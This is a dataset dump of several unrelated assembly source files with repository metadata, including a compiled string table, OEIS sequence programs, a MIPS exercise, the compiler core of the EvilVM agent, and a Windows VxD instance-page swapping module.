byte 1 99
byte 1 97
byte 1 112
byte 1 116
byte 1 117
byte 1 114
byte 1 101
byte 1 108
byte 1 105
byte 1 109
byte 1 105
byte 1 116
byte 1 0
align 1
LABELV $164
byte 1 102
byte 1 114
byte 1 97
byte 1 103
byte 1 108
byte 1 105
byte 1 109
byte 1 105
byte 1 116
byte 1 0
align 1
LABELV $162
byte 1 116
byte 1 101
byte 1 97
byte 1 109
byte 1 102
byte 1 108
byte 1 97
byte 1 103
byte 1 115
byte 1 0
align 1
LABELV $160
byte 1 100
byte 1 109
byte 1 102
byte 1 108
byte 1 97
byte 1 103
byte 1 115
byte 1 0
align 1
LABELV $157
byte 1 37
byte 1 105
byte 1 0
align 1
LABELV $156
byte 1 103
byte 1 95
byte 1 103
byte 1 97
byte 1 109
byte 1 101
byte 1 116
byte 1 121
byte 1 112
byte 1 101
byte 1 0
align 1
LABELV $143
byte 1 67
byte 1 71
byte 1 95
byte 1 80
byte 1 97
byte 1 114
byte 1 115
byte 1 101
byte 1 84
byte 1 101
byte 1 97
byte 1 109
byte 1 73
byte 1 110
byte 1 102
byte 1 111
byte 1 58
byte 1 32
byte 1 98
byte 1 97
byte 1 100
byte 1 32
byte 1 99
byte 1 108
byte 1 105
byte 1 101
byte 1 110
byte 1 116
byte 1 32
byte 1 110
byte 1 117
byte 1 109
byte 1 98
byte 1 101
byte 1 114
byte 1 58
byte 1 32
byte 1 37
byte 1 100
byte 1 0
align 1
LABELV $135
byte 1 67
byte 1 71
byte 1 95
byte 1 80
byte 1 97
byte 1 114
byte 1 115
byte 1 101
byte 1 84
byte 1 101
byte 1 97
byte 1 109
byte 1 73
byte 1 110
byte 1 102
byte 1 111
byte 1 58
byte 1 32
byte 1 110
byte 1 117
byte 1 109
byte 1 83
byte 1 111
byte 1 114
byte 1 116
byte 1 101
byte 1 100
byte 1 84
byte 1 101
byte 1 97
byte 1 109
byte 1 80
byte 1 108
byte 1 97
byte 1 121
byte 1 101
byte 1 114
byte 1 115
byte 1 32
byte 1 111
byte 1 117
byte 1 116
byte 1 32
byte 1 111
byte 1 102
byte 1 32
byte 1 114
byte 1 97
byte 1 110
byte 1 103
byte 1 101
byte 1 32
byte 1 40
byte 1 37
byte 1 100
byte 1 41
byte 1 0
| 11.636754
| 45
| 0.839579
|
8e63f6930a3b6f926a64ec488cd353e3838adf27
| 344
|
asm
|
Assembly
|
programs/oeis/346/A346178.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/346/A346178.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/346/A346178.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A346178: Expansion of (1-2*x)/(1-10*x).
; 1,8,80,800,8000,80000,800000,8000000,80000000,800000000,8000000000,80000000000,800000000000,8000000000000,80000000000000,800000000000000,8000000000000000,80000000000000000,800000000000000000,8000000000000000000,80000000000000000000
mov $1,10
pow $1,$0
mul $1,6
add $1,5
mul $1,2
div $1,15
mov $0,$1
| 31.272727
| 233
| 0.793605
|
253420d7689a5cb01171fea12455555943cd3d4a
| 130
|
asm
|
Assembly
|
programa.asm
|
jhonatheberson/MIPS-architecture
|
b027502992c115c1529fe9d0ceaaf00e7bdb930e
|
[
"MIT"
] | null | null | null |
programa.asm
|
jhonatheberson/MIPS-architecture
|
b027502992c115c1529fe9d0ceaaf00e7bdb930e
|
[
"MIT"
] | null | null | null |
programa.asm
|
jhonatheberson/MIPS-architecture
|
b027502992c115c1529fe9d0ceaaf00e7bdb930e
|
[
"MIT"
] | null | null | null |
ADDI $s1, $zero, 10
ADDI $s2, $zero, 2
ADDI $s3, $zero, 8
ADDI $s4, $zero, 6
ADD $t0, $s1, $s2
ADD $t1, $s3, $s4
SUB $s0, $t0, $t1
| 18.571429
| 19
| 0.553846
|
e688db56498b686c851a609cdef9668c5de105a8
| 8,606
|
asm
|
Assembly
|
agent/compiler.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 141
|
2019-05-18T20:46:47.000Z
|
2022-02-28T05:10:43.000Z
|
agent/compiler.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 6
|
2019-06-04T15:33:21.000Z
|
2021-05-07T15:27:58.000Z
|
agent/compiler.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 21
|
2019-05-22T02:48:30.000Z
|
2021-11-03T05:34:48.000Z
|
;;; ------------------------------------------------------------------------
;;; Mark words immediate, inline, etc
;;; ------------------------------------------------------------------------
start_def ASM, imm, "immediate"
mov rax, G_THIS
mov BYTE [rax + 8], IMM
end_def imm
start_def ASM, inl, "inline"
mov rax, G_THIS
mov BYTE [rax + 8], INL
end_def inl
;;; ------------------------------------------------------------------------
;;; Parse a word, convert to number if it fails
;;; ------------------------------------------------------------------------
start_def ASM, parse, "parse"
call code_ddup ; a u a u
call code_lookup ; a u u'
and TOS, TOS ; test lookup (NULL pointer fails)
jz .num ; parse as a number
add PSP, 16 ; u'
call code_getxt ; xt
call code_execute ; ...
jmp .done
.num: call code_drop ; a u
call code_s_to_num
.done:
end_def parse
;;; ------------------------------------------------------------------------
;;; Convert a string to a number
;;; ------------------------------------------------------------------------
start_def ASM, s_to_num, "s>n"
push rbp
mov rbx, G_BASE ; get number base
xor ebp, ebp ; use ebp as a flag for negation
mov rax, [PSP] ; get address of string
mov al, [rax] ; get first byte
cmp al, '-' ; compare it to a minus sign
jne .positive ; leave the flag zero if not equal
mov ebp, 1 ; flag negative conversion for later
inc QWORD [PSP] ; skip first char
dec edi ; ...
.positive:
;; Test for $ sigil (for hexadecimal numbers)
mov rax, [PSP]
mov al, [rax] ;
cmp al, '$' ;
jne .base
mov rbx, 16 ; set base to hex
inc QWORD [PSP] ; move the pointer
dec edi ; reduce the length
.base: xor eax, eax ; start at 0
.loop: call code_walk ; a' u' c
sub TOS, 0x30 ; digits start here
cmp TOS, 9 ; check for bases over 10
jle .dec ; ...
sub TOS, 0x27 ; high bases use small letters
.dec: and TOS, TOS ; test for negative numbers
js .invalid ; ...
cmp TOS, rbx ; test for digits too big
jge .invalid ; ...
popthing rcx ; a' u'
xor rdx, rdx ; perform multiplication
mul rbx ; ...
add rax, rcx ; add the current digit
test TOS, TOS ;
jnz .loop
call code_drop ; a'
mov TOS, rax ; n
jmp .done
.invalid:
call code_ddrop
call code_drop
call code_err
pop rbp
int3
.done:
and ebp, ebp
jz .skipnegate
neg TOS
.skipnegate:
pop rbp
end_def s_to_num
start_def ASM, reset, "reset"
;; VEH clobbers r15 and r12, so they need to be recovered. Then
;; we can recover the initial boot state, signal error, and
;; return to the outer interpreter.
;; rcx is a pointer to an _EXCEPTION_POINTERS struct
mov r15, [rcx]
mov eax, [r15]
;; experiment: restore r15 from TIB->Env pointer
;; see note in main.asm -- this seems like a safe place to store the
;; value of r15 that will survive when handling an exception.
mov r15, [gs:0x38]
mov G_LASTEX, rcx ; save exception for later review
mov rcx, [rcx + 8] ; address of context
mov rcx, [rcx + 19 * 8] ; get old RSP
mov rcx, [rcx] ; get actual value at top of stack
mov G_LASTCALL, rcx ; save for reference
.skip: mov PSP, G_PSP0 ; reset parameter stack
mov rsp, G_RSP0 ; reset call stack
call G_HANDLER ; error handler
call code_underflow ; do normal underflow handling
pushthing 250 ; prevent busy loop on fail
call code_ms ; ...
.wait:
call code_key ; wait until server or user issues a ^W
cmp rdi, 0x17 ; check for ETB character, signaling end of last input
je .ret ; ...
drop ; don't fill up the stack
jmp .wait ; ...
.ret:
drop ; still have ETB on top, so remove it
push QWORD G_BOOT ; force return to initial boot
end_def reset
start_def ASM, setboot, "!boot"
mov G_BOOT, rdi
call code_drop ; drop
end_def setboot
;;; ------------------------------------------------------------------------
;;; Terminate a spate of compilation
;;; ------------------------------------------------------------------------
start_def IMM, exit, ";"
nop
mov rax, G_THIS ; current header
add rax, 9 ; offset of length field
mov rbx, rax ; save location of length
add rax, 8 ; increment to name len
xor rcx, rcx ; blank rcx
mov cl, [rax] ; get the name length
add rax, rcx ; find beginning of code
inc rax ; ...
mov rcx, G_HERE ; start at end of dictionary
sub rcx, rax ; get code length before RET
mov [rbx], ecx ; write length field value
pushthing G_BOTTOM_OFF ;
call code_dup ; test for stack underflow
mov edi, 0xa73b4d ; Compile:
call code_dcomma ; cmp r12, [G_BOTTOM]
sub QWORD G_HERE, 1 ; ...
call code_dcomma ; ...
pushthing 0xc3cc017e ; compile:
call code_dcomma ; jle 1; int3; ret
mov rax, G_THIS ; update LAST pointer
mov G_LAST, rax ; ...
;; we were called from the compiler; we pop the stored RIP off
;; the stack, so we'll return to wherever we were before the
;; compiler was called.
.x: pop rax
call code_ddrop
end_def exit
;;; ------------------------------------------------------------------------
;;; Create a header in the dictionary
;;; ------------------------------------------------------------------------
start_def ASM, header, "header"
pushthing G_HERE ; ( here )
.d1: call code_dup ; ( a0 here )
pushthing G_LAST ; ( a0 here last )
call code_comma ; ( a0 here )
popthing QWORD G_THIS ; ( a0 )
pushthing ASM ; ( a0 1 )
call code_ccomma ; ( a0 )
call code_dup ; ( a0 )
xor edi, edi ; ( a0 )
call code_comma ; ( a0 ) write 8 bytes of zeros
end_def header
;;; ------------------------------------------------------------------------
;;; The colon compiler (almost working!)
;;; ------------------------------------------------------------------------
start_def ASM, colon, ":"
call code_header ; ( a0 )
call code_word ; ( a0 a u )
call code_dup ; ( a0 a u u )
call code_ccomma ; ( a0 a u )
;; write the function's name to the dictionary
.dbg0: popthing rcx ; length of the string
popthing rsi ; address of the string
push rdi ; save the address (rdi is TOS)
mov rdi, G_HERE ; tack on to dictionary
.dbg1: rep movsb ; perform copy
mov G_HERE, rdi ; update HERE pointer
pop rdi
;; remember where we are so ';' can update header later
.dbg2: pushthing G_HERE ; ( a0 here )
call code_over ; ( a0 here a0 )
call code_minus ; ( a0 delta )
mov rax, G_THIS ; ( a0 delta )
add rax, 13 ; ( a0 delta )
popthing rbx ; ( a0 )
mov [rax], ebx ; ( a0 )
pushthing G_HERE ; ( a0 here )
jmp code_compile
end_def colon
start_def ASM, compile, "compile"
;; read words and compile them
.next: call code_word
and TOS, TOS
jz .empty
call code_ddup
mov rax, [r12]
mov G_LASTWORD, rax
mov G_LASTLEN, rdi
call code_lookup
and TOS, TOS
jz .num
add PSP, 16 ; nip nip
;; get flag and check for immediacy
mov bl, [TOS + CELL] ; get the flags field
cmp bl, INL ; inline words thusly flagged
je .inl ; ...
cmp bl, IMM ; immediate words get executed, not compiled
jne .cpl ; compile normal words
.imm: call code_getxt ; get the function pointer
popthing rax ; take it off the stack
call rax ; call the immediate
jmp .next ; done with this token
.cpl: call code_getxt ; get execution token (function ptr)
mov rax, G_HERE ; get current address
sub TOS, rax ; calculate relative offset
sub TOS, 5 ; account for call instruction
pushthing 0xe8 ; op code for call
call code_ccomma ; write the op code
call code_dcomma ; write the address
jmp .next ; done with this token
.inl: call code_dup ; copy header pointer
call code_getxt ; get the function pointer
call code_swap ; reorder ( fn hdr )
mov edi, [rdi + 9] ; get length from header field
mov rsi, [r12] ; function pointer is source
mov rcx, rdi ; length in counter register
mov rax, rcx ; back it up to increment HERE later
mov rdi, G_HERE ; current spot in dictionary
rep movsb ; copy bytes
add G_HERE, rax ; reposition HERE
call code_ddrop ; clear stack
jmp .next ; done with this token
.num: call code_drop ; a u
call code_s_to_num
pushthing 0x08ec8349 ; make space on the stack
call code_dcomma ; write SUB instruction
pushthing 0x243c8949 ; copy TOS to stack
call code_dcomma ; write MOV instruction
pushthing 0xbf ; op code for MOV instruction
call code_ccomma ; write op code
call code_dcomma ; write constant value
jmp .next ; done with this token
.empty: call code_ddrop ; ddrop
jmp .next
.invalid:
add PSP, 24
mov rdi, [PSP-8]
call code_err
end_def compile
start_def IMM, tail, "tail"
pushthing 0xe9
call code_ccomma
pushthing G_THIS
call code_getxt
sub rdi, G_HERE
sub rdi, 4
call code_dcomma
end_def tail
| 28.686667
| 76
| 0.611899
|
5be2f86cad10e73c59c8215e5527dacf78ba204c
| 690
|
asm
|
Assembly
|
oeis/001/A001595.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/001/A001595.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/001/A001595.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A001595: a(n) = a(n-1) + a(n-2) + 1, with a(0) = a(1) = 1.
; Submitted by Jamie Morken(s2)
; 1,1,3,5,9,15,25,41,67,109,177,287,465,753,1219,1973,3193,5167,8361,13529,21891,35421,57313,92735,150049,242785,392835,635621,1028457,1664079,2692537,4356617,7049155,11405773,18454929,29860703,48315633,78176337,126491971,204668309,331160281,535828591,866988873,1402817465,2269806339,3672623805,5942430145,9615053951,15557484097,25172538049,40730022147,65902560197,106632582345,172535142543,279167724889,451702867433,730870592323,1182573459757,1913444052081,3096017511839,5009461563921,8105479075761
mov $3,2
lpb $0
sub $0,1
mov $2,$1
add $1,$3
mov $3,$2
lpe
add $1,$3
mov $0,$1
sub $0,1
| 46
| 499
| 0.771014
|
bd9d8e65d7f21b5f23a94cf2d8983a043d9d30e8
| 376
|
asm
|
Assembly
|
programs/oeis/096/A096979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/096/A096979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/096/A096979.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A096979: Sum of the areas of the first n+1 Pell triangles.
; 0,1,6,36,210,1225,7140,41616,242556,1413721,8239770,48024900,279909630,1631432881,9508687656,55420693056,323015470680,1882672131025,10973017315470,63955431761796,372759573255306,2172602007770041
mul $0,2
mov $1,3
mov $2,4
lpb $0
sub $0,2
add $2,$1
add $1,$2
add $1,$2
add $2,$1
lpe
div $1,16
mov $0,$1
| 23.5
| 196
| 0.734043
|
161eeb41943462b63da1ba2fadcaf0c9d5407206
| 12,936
|
asm
|
Assembly
|
dev/emm386/lhvxd/instswap.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dev/emm386/lhvxd/instswap.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
dev/emm386/lhvxd/instswap.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
PAGE 58,132
;******************************************************************************
TITLE INSTANCE.ASM -
;******************************************************************************
;
; (C) Copyright MICROSOFT Corp., 1986-1991
;
; Title: INSTSWAP.ASM -
;
; Version: 2.00
;
; Date: 18-Sep-1986
;
; Author: RRH, RAL, AAR
;
;------------------------------------------------------------------------------
;
; Change log:
;
; DATE REV DESCRIPTION
; ----------- --- -----------------------------------------------------------
; 18-SEP-1986 RRH Original
; 12-Jul-1988 RAL Changed from VMSWITCH.ASM to INSTSWAP.ASM & optimized
; 13-Jul-1988 RAL Updated to new data structures / Page must be owned
; 02-Aug-1988 AAR Added _MMGR_Toggle_HMA call for A20 wrap management
; 25-Aug-1988 RAL Fixed high memory instance faults
; 09-Mar-1989 RAL Non-dirty inst pages not copied out, New PFAULT.ASM
; 24-Jul-1990 AC Adapted for LoadHi VXD
;
;==============================================================================
.386p
;******************************************************************************
; P U B L I C D E C L A R A T I O N S
;******************************************************************************
PUBLIC Swap_LoadHi_Instance_Page
;******************************************************************************
; I N C L U D E F I L E S
;******************************************************************************
INCLUDE VMM.inc
INCLUDE Debug.Inc
INCLUDE instance.Inc
INCLUDE Opttest.Inc
;******************************************************************************
; E X T E R N A L D E C L A R A T I O N S
;******************************************************************************
VxD_DATA_SEG
Extrn ActualAddInstanceItem:dword ;original _AddInstanceItem service
Extrn LoadHi_Instance_Map_Table_Ptr_Actual:dword
Extrn LoadHi_Instance_Map_Table_Size_Actual:byte
Extrn LoadHi_Instance_SnapLaddr:dword
Extrn CB_LoadHi_Inst_Buf_ptr:dword ;offset in CB for Instance data buffer
Extrn CB_LoadHi_Inst_Hand:dword ;handle of above buffer
; define contants to BIAS the MAP tables to start at page 0
LoadHi_Instance_Map_Table_Ptr equ LoadHi_Instance_Map_Table_Ptr_Actual - 0A0H * 4
LoadHi_Instance_Map_Table_Size equ LoadHi_Instance_Map_Table_Size_Actual - 0A0H
public LoadHi_Inst_Page_Owner_Actual
; define the actual array to start from page 0A0H onwards, but define an equate
; to back bias the start relative to page 0 so that we can index into the
; array directly.
LoadHi_Inst_Page_Owner_Actual dd (MAX_INST_PAGES- 0A0H) dup (0)
LoadHi_Inst_Page_Owner equ LoadHi_Inst_Page_Owner_Actual - 0A0H * 4
;----------------------------------------------------------------------------;
VxD_DATA_ENDS
;----------------------------------------------------------------------------;
VxD_CODE_SEG
Extrn Get_Mapped_Page_Num:near
;******************************************************************************
;
; Swap_LoadHi_Instance_Page
;
; DESCRIPTION:
;
;
; WARNING:
; THIS PROCEDURE IS CALLED BY VMTRAP TO SWAP PAGE 0 FOR FAST INTERRUPT
; REFLECTION! The EAX and EDX parameters passed by the page fault
; code will not be valid when called from VmTrap.
;
; ENTRY:
; EBX = Current VM handle
; EAX = Page index of fault
;
; EXIT:
;
; USES:
; EAX, EBX, ECX, EDX, ESI, EDI, Flags
;
;==============================================================================
BeginProc Swap_LoadHi_Instance_Page, High_Freq, PUBLIC
enter 4,0
PageTableBits EQU DWORD PTR [EBP-4]
mov ecx,eax
cmp ecx,MAX_INST_PAGES
jae SIP_Fatal
comment ~
IFDEF DEBUG
cmp LoadHi_Inst_Page_Owner[ecx*4],0
jne short SIPD10
debug_out "Swap_LoadHi_Instance_Page, 0 in LoadHi_Inst_Page_Owner for page #ecx"
SIPD10:
testmem [ebx.CB_MMGR_Flags],CB_MMGR_Resumed
jnz short SIP_Not_Suspended
testmem [ebx.CB_VM_Status], VMStat_Creating
jnz SHORT SIP_Not_Suspended
Debug_Out "ERROR: LoadHi_Instance fault on suspended VM #EBX"
SIP_Not_Suspended:
ENDIF
end comment ~
mov eax, ebx
xchg eax, LoadHi_Inst_Page_Owner[ecx*4] ; Get old owner / Set new owner
;
; eax is OLD owners Control Block
; ebx is NEW owners Control Block
; ecx is page number
;
;
; map the page NOT_PRESENT for the old owner and PRESENT for the
; new owner. Before doing this get the page table entry information
; for the old owner.
;
mov edx,ecx ;get the page number
shl edx,12 ;convert to a linear address
add edx,[eax.CB_High_Linear] ;where currently mapped
shr edx,12 ;convert back to a page number
push eax
push ebx
push ecx
push edx
lea esi,PageTableBits
VMMcall _CopyPageTable,<edx,1,esi,0>
pop edx
pop ecx
pop ebx
pop eax
mov esi,NOT P_PRES
push eax
push ebx
push ecx
push edx
VMMcall _ModifyPageBits,<eax,ecx,1,esi,0,PG_HOOKED,0>
pop edx
pop ecx
pop ebx
pop eax
push eax
push ebx
push ecx
push edx
mov eax,ecx ;get the UMB page number
call Get_Mapped_Page_Num ;edx has mapped page number
VMMcall _PhysIntoV86,<edx,ebx,ecx,1,0>
pop edx
pop ecx
pop ebx
pop eax
comment ~
mov esi, [eax.CB_PgTable_Ptr] ; ESI -> Old owner's page table
mov edi, [ebx.CB_PgTable_Ptr] ; EDI -> New owner's page table
cmp ecx, WRAP_MAX_V86_PAGE ; Wrap area page?
jae SIP_Wrap1 ; Yes, special stuff
mov dl, BYTE PTR [esi][ecx*4] ; Get page info for dirty test
and BYTE PTR [esi][ecx*4],NOT P_AVAIL ;Old owner can't access
or BYTE PTR [edi][ecx*4], P_AVAIL ; New owner can
cmp ecx,NOWRAP_MAX_V86_PAGE - WRAP_MAX_V86_PAGE ; Q: Page possibly mirrored above 1 meg?
jae SHORT SIP_Owners_Swapped ; N: Ownership set
testmem [eax.CB_MMGR_Flags],CB_MMGR_NoWrap ; Old guy has wrap?
jnz short SIPOLDNoWrp ; N:
or dl, BYTE PTR [esi+(WRAP_MAX_V86_PAGE*4)][ecx*4] ; + Dirty info for high page
and BYTE PTR [esi+(WRAP_MAX_V86_PAGE*4)][ecx*4], NOT P_AVAIL; Old owner can't access
SIPOLDNoWrp:
testmem [ebx.CB_MMGR_Flags],CB_MMGR_NoWrap ; New guy has wrap?
jnz short SIP_Owners_Swapped ; N:
or BYTE PTR [edi+(WRAP_MAX_V86_PAGE*4)][ecx*4], P_AVAIL ; New owner can
and BYTE PTR [edi+(WRAP_MAX_V86_PAGE*4)][ecx*4], NOT P_DIRTY; New owner NOT dirty
SIP_Owners_Swapped:
end comment ~
mov edi, cr3 ; Reload CR3 to reset the TLB
mov cr3, edi
mov edi, PageTableBits ; Move dirty info to EDI
;
; eax is OLD owners Control Block
; ebx is NEW owners Control Block
; ecx is page number
; edi original page bits for OLD owner
;
push ecx
mov edx, LoadHi_Instance_Map_Table_Ptr[ecx*4]
movzx ecx, LoadHi_Instance_Map_Table_Size[ecx]
or ecx,ecx
IFDEF DEBUG
jnz short CIOD10
debug_out "LoadHi_Instance fault on page with 0 IMT_LoadHi_Inst_Map_Size"
CIOD10:
ENDIF
jz short CIODone
;
; If the page was not dirty then no need to save old owner's inst buffer.
;
testreg edi, P_DIRTY
; jz SHORT CILoop
;
; Copy old LoadHi_Instance Owner's data out
;
push ecx
push edx
COLoop:
push ecx
mov edi, CB_LoadHi_Inst_Buf_ptr
mov edi, [eax][edi] ; Point into instance buffer
add edi, [edx.IMap_Inst_Buf_Offset]
mov esi, [edx.IMap_VM_Address]
add esi, [ebx.CB_High_Linear]
movzx ecx, [edx.IMap_Lead_Byte_Count]
rep movsb
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
jz short CONext
shr ecx,2
rep movsd
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
and ecx,011b ; Mask to byte part
rep movsb
CONext:
pop ecx
add edx, size LoadHi_Instance_Map_struc
loop COLoop
pop edx
pop ecx
;
; Copy new LoadHi_Instance Owner's data in
;
CILoop:
push ecx
mov esi, CB_LoadHi_Inst_Buf_ptr
mov esi, [ebx][esi] ; Point into instance buffer
add esi, [edx.IMap_Inst_Buf_Offset]
mov edi, [edx.IMap_VM_Address]
add edi, [ebx.CB_High_Linear]
movzx ecx, [edx.IMap_Lead_Byte_Count]
rep movsb
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
jz short CINext
shr ecx,2
rep movsd
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
and ecx,011b ; Mask to byte part
rep movsb
CINext:
pop ecx
add edx, size LoadHi_Instance_Map_struc
loop CILoop
CIODone:
pop ecx
mov edi, cr3
mov cr3, edi
leave
ret
SIP_Not_LoadHi_Inst_Page:
Debug_Out "ERROR: LoadHi_Instance fault on non-instance page"
VMMjmp Crash_Cur_VM
SIP_Fatal:
debug_out "Got an instance page fault on #ecx >= MAX_INST_PAGES in a VM"
VMMjmp Crash_Cur_VM
EndProc Swap_LoadHi_Instance_Page
;******************************************************************************
;
; LoadHi_Instance_VMDestroy/LoadHi_Instance_VMSuspend - Make any instance pages owned by
; EBX owned by SYS_VM_Handle
;
; ENTRY:
; EBX is VM Handle of VM being destroyed
;
; EXIT:
; None
;
; USES:
; EAX, ECX, EDX, ESI, EDI, Flags
;
;==============================================================================
BeginProc LoadHi_Instance_VMDestroy, PUBLIC
push 1
jmp short VMSuspDestCommon
EndProc LoadHi_Instance_VMDestroy
BeginProc LoadHi_Instance_VMSuspend, PUBLIC
push 0
VMSuspDestCommon:
IFDEF DEBUG
cmp dword ptr [esp],0 ; Only invalid to DESTROY current VM
jz short IVD_Handle_OK
;
; NOTE: You can not use Assert_VM_Handle ebx here since the VM handle
; has already been removed from the list of valid handles.
;
;;;;;;;;Assert_VM_Handle ebx
push ebx
push eax
mov eax,ebx
VMMcall Get_Cur_VM_Handle
cmp eax,ebx
pop eax
pop ebx
jne SHORT IVD_Handle_OK
Debug_Out "FATAL ERROR: LoadHi_Instance_VMDestroy called with EBX = Cur_VM_Handle"
Fatal_Error
IVD_Handle_OK:
ENDIF
mov ecx, MAX_INST_PAGES ; # of pages to test
IVD_Loop:
cmp ecx,MIN_LOADHI_INST_PAGE ; this is where we stop
jbe SHORT IVD_Exit ; done.
dec ecx ; otherwise dec page counter
;
; NOTE On non-instance pages where there is a 0 in LoadHi_Inst_Page_Owner array
; we will ALWAYS take the JNE.
;
cmp LoadHi_Inst_Page_Owner[ecx*4], ebx; Q: Owned by this VM?
jne SHORT IVD_Loop ; N: GOOD! Ignore this page
push ebx ; Y: Force it to be loaded
push ecx ; for the system VM
VMMcall Get_Sys_VM_Handle ;Sys_VM_Handle in EBX
push eax
mov eax,ecx
call Swap_LoadHi_Instance_Page
pop eax
pop ecx
pop ebx
jmp SHORT IVD_Loop
IVD_Exit:
clc ; success
pop eax ; Discard susp/destroy flag
ret
EndProc LoadHi_Instance_VMSuspend
;******************************************************************************
;
; Load_LoadHi_Instance_Pages - Make sure all instance pages are present and owned
; by Cur_VM_Handle.
;
; ENTRY:
; None
;
; EXIT:
;
; USES:
; EAX, EBX, ECX, EDX, ESI, EDI, Flags
;
;==============================================================================
comment ~
BeginProc Load_LoadHi_Instance_Pages, PUBLIC
VMMcall Get_Cur_VM_Handle ;EBX has Cur_VM_Handle
mov ecx, MAX_INST_PAGES
LIP_Loop:
dec ecx
jz SHORT LIP_Exit
cmp LoadHi_Inst_Page_Owner[ecx*4], ebx ; Owned by Cur VM already?
je SHORT LIP_Loop ; Yes, skip it
cmp LoadHi_Inst_Page_Owner[ecx*4], 0 ; LoadHi_Instance page?
je SHORT LIP_Loop ; No, skip it
push ebx
push ecx
push eax
mov eax,ecx
call Swap_LoadHi_Instance_Page
pop eax
pop ecx
pop ebx
jmp SHORT LIP_Loop
LIP_Exit:
ret
EndProc Load_LoadHi_Instance_Pages
end comment ~
;******************************************************************************
;
; LoadHi_Instance_WIN386_Exit - Set up instance data for WIN386 exit. Swap in
; contents of instance snap shot buffer.
;
; ENTRY:
; None
;
; EXIT:
; None
;
; USES:
; ALL but EBP
;
;==============================================================================
comment ~
BeginProc LoadHi_Instance_WIN386_Exit, PUBLIC
mov ecx, MAX_INST_PAGES ; Do this many pages
CIPLp:
cld
push ecx
dec ecx ; Count is 1-MAX_INST_PAGES,
; pages are 0-(MAX_INST_PAGES - 1)
mov edx, LoadHi_Instance_Map_Table_Ptr[ecx*4]
movzx ecx, LoadHi_Instance_Map_Table_Size[ecx]
jecxz CICont
CILp:
push ecx
mov esi, [LoadHi_Instance_SnapLaddr]
add esi, [edx.IMap_Inst_Buf_Offset]
;
; For HMA instance pages IMap_VM_Address is in the Phys Linear region so
; it doesn't matter if the HMA is currently ON or OFF in the current
; VM.
;
mov edi, [edx.IMap_VM_Address]
movzx ecx, [edx.IMap_Lead_Byte_Count]
rep movsb
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
jz short COutNext
shr ecx,2
rep movsd
; NOTE here that we know ECX == 0
or cx, [edx.IMap_Field_Length]
and ecx,011b ; Mask to byte part
rep movsb
COutNext:
pop ecx
add edx, size LoadHi_Instance_Map_struc
loop CILp
CICont:
pop ecx
loop CIPLp
ret
EndProc LoadHi_Instance_WIN386_Exit
end comment ~
;----------------------------------------------------------------------------;
VxD_CODE_ENDS
;----------------------------------------------------------------------------;
VxD_ICODE_SEG
VxD_ICODE_ENDS
;----------------------------------------------------------------------------;
END
| 25.315068
| 90
| 0.624382
|
f9c689acfe93423a92c3e916981a31a71e8e4995
| 210
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc___lt.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc___lt.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/c/sdcc/cm16_sdcc___lt.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_math16
PUBLIC cm16_sdcc___lt
